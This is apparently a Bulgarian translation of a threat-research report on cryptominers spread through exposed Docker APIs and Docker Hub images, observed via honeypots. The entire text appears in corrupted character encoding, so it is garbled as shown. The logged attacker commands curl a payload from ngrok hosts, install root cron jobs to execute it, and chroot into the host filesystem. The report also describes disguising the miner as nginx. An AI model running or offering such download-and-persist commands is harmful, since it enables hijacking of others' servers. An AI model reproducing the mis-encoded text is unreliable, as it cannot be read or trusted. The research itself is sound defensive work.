Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°

АнализирахмС Π΄Π°Π½Π½ΠΈΡ‚Π΅, ΡΡŠΠ±Ρ€Π°Π½ΠΈ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ honeypot, ΠΊΠΎΠΈΡ‚ΠΎ ΡΡŠΠ·Π΄Π°Π΄ΠΎΡ…ΠΌΠ΅ Π·Π° прослСдяванС Π½Π° Π·Π°ΠΏΠ»Π°Ρ…ΠΈ. И Π½ΠΈΠ΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ…ΠΌΠ΅ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»Π½Π° активност ΠΎΡ‚ Π½Π΅ΠΆΠ΅Π»Π°Π½ΠΈ ΠΈΠ»ΠΈ Π½Π΅ΠΎΡ‚ΠΎΡ€ΠΈΠ·ΠΈΡ€Π°Π½ΠΈ ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°, Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈ ΠΊΠ°Ρ‚ΠΎ ΠΈΠ·ΠΌΠ°ΠΌΠ½ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½ΠΎ ΠΎΡ‚ общността ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Docker Hub. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠ°Ρ‚ΠΎ част ΠΎΡ‚ услуга, която доставя Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°.

ОсвСн Ρ‚ΠΎΠ²Π° са инсталирани ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈ Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° с ΠΌΡ€Π΅ΠΆΠΈ Π·Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅ Π² ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ съсСдни ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ ΠΈ прилоТСния.

НиС оставямС Π½Π°ΡˆΠΈΡ‚Π΅ honeypots Ρ‚Π°ΠΊΠΈΠ²Π°, ΠΊΠ°ΠΊΠ²ΠΈΡ‚ΠΎ са, тоСст с настройкитС ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅, Π±Π΅Π· Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ ΠΌΠ΅Ρ€ΠΊΠΈ Π·Π° сигурност ΠΈΠ»ΠΈ послСдващо инсталиранС Π½Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π΅Π½ софтуСр. Моля, ΠΈΠΌΠ°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄, Ρ‡Π΅ Docker ΠΈΠΌΠ° ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΠΊΠΈ Π·Π° ΠΏΡŠΡ€Π²ΠΎΠ½Π°Ρ‡Π°Π»Π½Π° настройка, Π·Π° Π΄Π° ΠΈΠ·Π±Π΅Π³Π½Π΅Ρ‚Π΅ Π³Ρ€Π΅ΡˆΠΊΠΈ ΠΈ прости уязвимости. Но ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈΡ‚Π΅ honeypots са ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈ Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Ρ‚ Π°Ρ‚Π°ΠΊΠΈ, насочСни към ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π·Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈΠ·ΠΈΡ€Π°Π½Π΅, Π° Π½Π΅ към прилоТСнията Π²ΡŠΡ‚Ρ€Π΅ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈΡ‚Π΅.

ΠžΡ‚ΠΊΡ€ΠΈΡ‚Π°Ρ‚Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π° дСйност ΡΡŠΡ‰ΠΎ Π΅ Π·Π°Π±Π΅Π»Π΅ΠΆΠΈΡ‚Π΅Π»Π½Π°, Π·Π°Ρ‰ΠΎΡ‚ΠΎ Π½Π΅ изисква уязвимости ΠΈ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π΅ нСзависима ΠΎΡ‚ вСрсията Π½Π° Docker. НамиранСто Π½Π° Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ΠΎ ΠΈ слСдоватСлно ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π΅ всичко, ΠΎΡ‚ ΠΊΠΎΠ΅Ρ‚ΠΎ Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ сС нуТдаят, Π·Π° Π΄Π° заразят ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ.

НСзатворСният API Π½Π° Docker позволява Π½Π° потрСбитСля Π΄Π° изпълнява ΡˆΠΈΡ€ΠΎΠΊΠ° Π³Π°ΠΌΠ° ΠΎΡ‚ ΠΎΡ‚Π±ΠΎΡ€ΠΈ, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° списък с Ρ€Π°Π±ΠΎΡ‚Π΅Ρ‰ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° рСгистрационни Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π΅Π½ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, стартиранС, спиранС (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»Π½ΠΎ) ΠΈ Π΄ΠΎΡ€ΠΈ създаванС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ настройки.

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°
ΠžΡ‚Π»ΡΠ²ΠΎ Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ Π·Π° доставка Π½Π° Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π΅Π½ софтуСр. Вдясно Π΅ срСдата Π½Π° атакуващия, която позволява дистанционно пусканС Π½Π° изобраТСния.

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°
Π Π°Π·ΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ Π΄ΡŠΡ€ΠΆΠ°Π²ΠΈ Π½Π° 3762 ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ API Π½Π° Docker. Π’ΡŠΠ· основа Π½Π° Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅ Π½Π° Shodan ΠΎΡ‚ 12.02.2019 Π³

ΠžΠΏΡ†ΠΈΠΈ Π·Π° Π²Π΅Ρ€ΠΈΠ³Π° Π·Π° Π°Ρ‚Π°ΠΊΠ° ΠΈ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ²Π°Ρ€

Π—Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π°Ρ‚Π° дСйност бСшС ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° Π½Π΅ само с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° honeypots. Π”Π°Π½Π½ΠΈΡ‚Π΅ ΠΎΡ‚ Shodan ΠΏΠΎΠΊΠ°Π·Π²Π°Ρ‚, Ρ‡Π΅ броят Π½Π° Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚ΠΈΡ‚Π΅ API Π½Π° Docker (Π²ΠΈΠΆΡ‚Π΅ Π²Ρ‚ΠΎΡ€Π°Ρ‚Π° Π³Ρ€Π°Ρ„ΠΈΠΊΠ°) сС Π΅ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ», ΠΎΡ‚ΠΊΠ°ΠΊΡ‚ΠΎ ΠΏΡ€ΠΎΡƒΡ‡ΠΈΡ…ΠΌΠ΅ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ ΠΊΠ°Ρ‚ΠΎ мост Π·Π° внСдряванС Π½Π° софтуСр Π·Π° ΠΊΠΎΠΏΠ°Π΅Π½Π΅ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π° Monero. ΠŸΡ€Π΅Π· ΠΎΠΊΡ‚ΠΎΠΌΠ²Ρ€ΠΈ ΠΌΠΈΠ½Π°Π»Π°Ρ‚Π° Π³ΠΎΠ΄ΠΈΠ½Π° (2018 Π³., Ρ‚Π΅ΠΊΡƒΡ‰ΠΈ Π΄Π°Π½Π½ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π°Ρ‚Π΅ Ρ‚Π°ΠΊΠ° ΠΏΡ€ΠΈΠ±Π». ΠΏΡ€Π΅Π²ΠΎΠ΄Π°Ρ‡) имашС само 856 ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ API.

ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°Ρ‚Π° Π½Π° рСгистрационнитС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° honeypot ΠΏΠΎΠΊΠ°Π·Π°, Ρ‡Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° изобраТСния Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΡΡŠΡ‰ΠΎ Π΅ ΡΠ²ΡŠΡ€Π·Π°Π½ΠΎ с ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ngrok, инструмСнт Π·Π° установяванС Π½Π° сигурни Π²Ρ€ΡŠΠ·ΠΊΠΈ ΠΈΠ»ΠΈ прСнасочванС Π½Π° Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΎΡ‚ общСствСно Π΄ΠΎΡΡ‚ΡŠΠΏΠ½ΠΈ Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ адрСси ΠΈΠ»ΠΈ рСсурси (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ localhost). Π’ΠΎΠ²Π° позволява Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π΄Π° ΡΡŠΠ·Π΄Π°Π²Π°Ρ‚ Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π½ΠΎ URL адрСси, ΠΊΠΎΠ³Π°Ρ‚ΠΎ доставят ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ²Π°Ρ€ Π½Π° ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ ΡΡŠΡ€Π²ΡŠΡ€. По-Π΄ΠΎΠ»Ρƒ са ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΈ ΠΊΠΎΠ΄ΠΎΠ²Π΅ ΠΎΡ‚ рСгистрационнитС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, ΠΏΠΎΠΊΠ°Π·Π²Π°Ρ‰ΠΈ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π° с услугата ngrok:

Tty: false
Command: β€œ-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”

Tty: false,
Command: β€œ-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”

Tty: false,
Command: β€œ-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”,

Tty: false,
Cmd: β€œ-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”

ΠšΠ°ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°Ρ‡Π΅Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ сС изтСглят ΠΎΡ‚ постоянно промСнящи сС URL адрСси. Π’Π΅Π·ΠΈ URL адрСси ΠΈΠΌΠ°Ρ‚ ΠΊΡ€Π°Ρ‚ΡŠΠΊ срок Π½Π° валидност, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ Π½Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΈΠ·Ρ‚Π΅Π³Π»Π΅Π½ΠΈ слСд Π΄Π°Ρ‚Π°Ρ‚Π° Π½Π° ΠΈΠ·Ρ‚ΠΈΡ‡Π°Π½Π΅.

Има Π΄Π²Π΅ ΠΎΠΏΡ†ΠΈΠΈ Π·Π° ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ²Π°Ρ€. ΠŸΡŠΡ€Π²ΠΈΡΡ‚ Π΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€Π°Π½ ELF ΠΌΠ°ΠΉΠ½Π΅Ρ€ Π·Π° Linux (Π΄Π΅Ρ„ΠΈΠ½ΠΈΡ€Π°Π½ ΠΊΠ°Ρ‚ΠΎ Coinminer.SH.MALXMR.ATNO), ΠΊΠΎΠΉΡ‚ΠΎ сС ΡΠ²ΡŠΡ€Π·Π²Π° с ΠΏΡƒΠ»Π° Π·Π° ΠΊΠΎΠΏΠ°Π΅Π½Π΅. Вторият Π΅ скрипт (TrojanSpy.SH.ZNETMAP.A), ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ инструмСнти, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° сканиранС Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΈ ΠΈ слСд Ρ‚ΠΎΠ²Π° Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅ Π½Π° Π½ΠΎΠ²ΠΈ Ρ†Π΅Π»ΠΈ.

Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ Π·Π° ΠΊΠ°ΠΏΠΊΠ° Π·Π°Π΄Π°Π²Π° Π΄Π²Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ слСд Ρ‚ΠΎΠ²Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° внСдряванС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡Π° Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°. ΠŸΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° HOST ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° URL адрСса, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ сС Π½Π°ΠΌΠΈΡ€Π°Ρ‚ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° RIP Π΅ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° Ρ„Π°ΠΉΠ»Π° (Π²ΡΡŠΡ‰Π½ΠΎΡΡ‚ Ρ…Π΅Ρˆ) Π½Π° ΠΊΠΎΠΏΠ°Ρ‡Π°, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ бъдС Π²Π½Π΅Π΄Ρ€Π΅Π½. ΠŸΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° HOST сС промСня всСки ΠΏΡŠΡ‚, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° Ρ…Π΅Ρˆ сС промСня. Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° сС ΠΎΠΏΠΈΡ‚Π²Π° Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈ Π΄Π°Π»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π° Π½Π΅ работят Π½Π° атакувания ΡΡŠΡ€Π²ΡŠΡ€.

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°
ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΈ Π·Π° HOST ΠΈ RIP ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ ΠΊΠΎΠ΄ΠΎΠ² Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π΄Π°Π»ΠΈ Π½Π΅ работят Π΄Ρ€ΡƒΠ³ΠΈ ΠΊΠΎΠΏΠ°Ρ‡ΠΈ

ΠŸΡ€Π΅Π΄ΠΈ Π΄Π° стартиратС ΠΌΠΈΠ½ΡŒΠΎΡ€Π°, Ρ‚ΠΎΠΉ сС ΠΏΡ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠ²Π° Π½Π° nginx. Π”Ρ€ΡƒΠ³ΠΈ вСрсии Π½Π° Ρ‚ΠΎΠ·ΠΈ скрипт ΠΏΡ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠ²Π°Ρ‚ ΠΊΠΎΠΏΠ°Ρ‡Π° Π½Π° Π΄Ρ€ΡƒΠ³ΠΈ Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½ΠΈ услуги, ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π°Ρ‚ Π² срСди Π½Π° Linux. Π’ΠΎΠ²Π° ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ Π΅ Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΎ, Π·Π° Π΄Π° сС заобиколят ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΡ‚Π΅ срСщу списъка с изпълнявани процСси.

Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ Π·Π° Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅ ΡΡŠΡ‰ΠΎ ΠΈΠΌΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π Π°Π±ΠΎΡ‚ΠΈ със ΡΡŠΡ‰Π°Ρ‚Π° URL услуга Π·Π° внСдряванС Π½Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈΡ‚Π΅ инструмСнти. Π‘Ρ€Π΅Π΄ тях Π΅ двоичният Ρ„Π°ΠΉΠ» zmap, ΠΊΠΎΠΉΡ‚ΠΎ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° сканиранС Π½Π° ΠΌΡ€Π΅ΠΆΠΈ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° списък с ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅. Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π·Π°Ρ€Π΅ΠΆΠ΄Π° Π΄Ρ€ΡƒΠ³ Π΄Π²ΠΎΠΈΡ‡Π΅Π½ Ρ„Π°ΠΉΠ», ΠΊΠΎΠΉΡ‚ΠΎ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° взаимодСйствиС с Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ услуги ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° Π±Π°Π½Π΅Ρ€ΠΈ ΠΎΡ‚ тях, Π·Π° Π΄Π° сС ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈ Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½Π° информация Π·Π° Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π°Ρ‚Π° услуга (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ΠΉΠ½Π°Ρ‚Π° вСрсия).

Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»Π½ΠΎ опрСдСля някои ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΈ Π·Π° сканиранС, Π½ΠΎ Ρ‚ΠΎΠ²Π° зависи ΠΎΡ‚ вСрсията Π½Π° скрипта. Π’ΠΎΠΉ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π·Π°Π΄Π°Π²Π° Ρ†Π΅Π»Π΅Π²ΠΈΡ‚Π΅ ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅ ΠΎΡ‚ услугитС - Π² Ρ‚ΠΎΠ·ΠΈ случай Docker - ΠΏΡ€Π΅Π΄ΠΈ Π΄Π° Π·Π°ΠΏΠΎΡ‡Π½Π΅ сканиранСто.

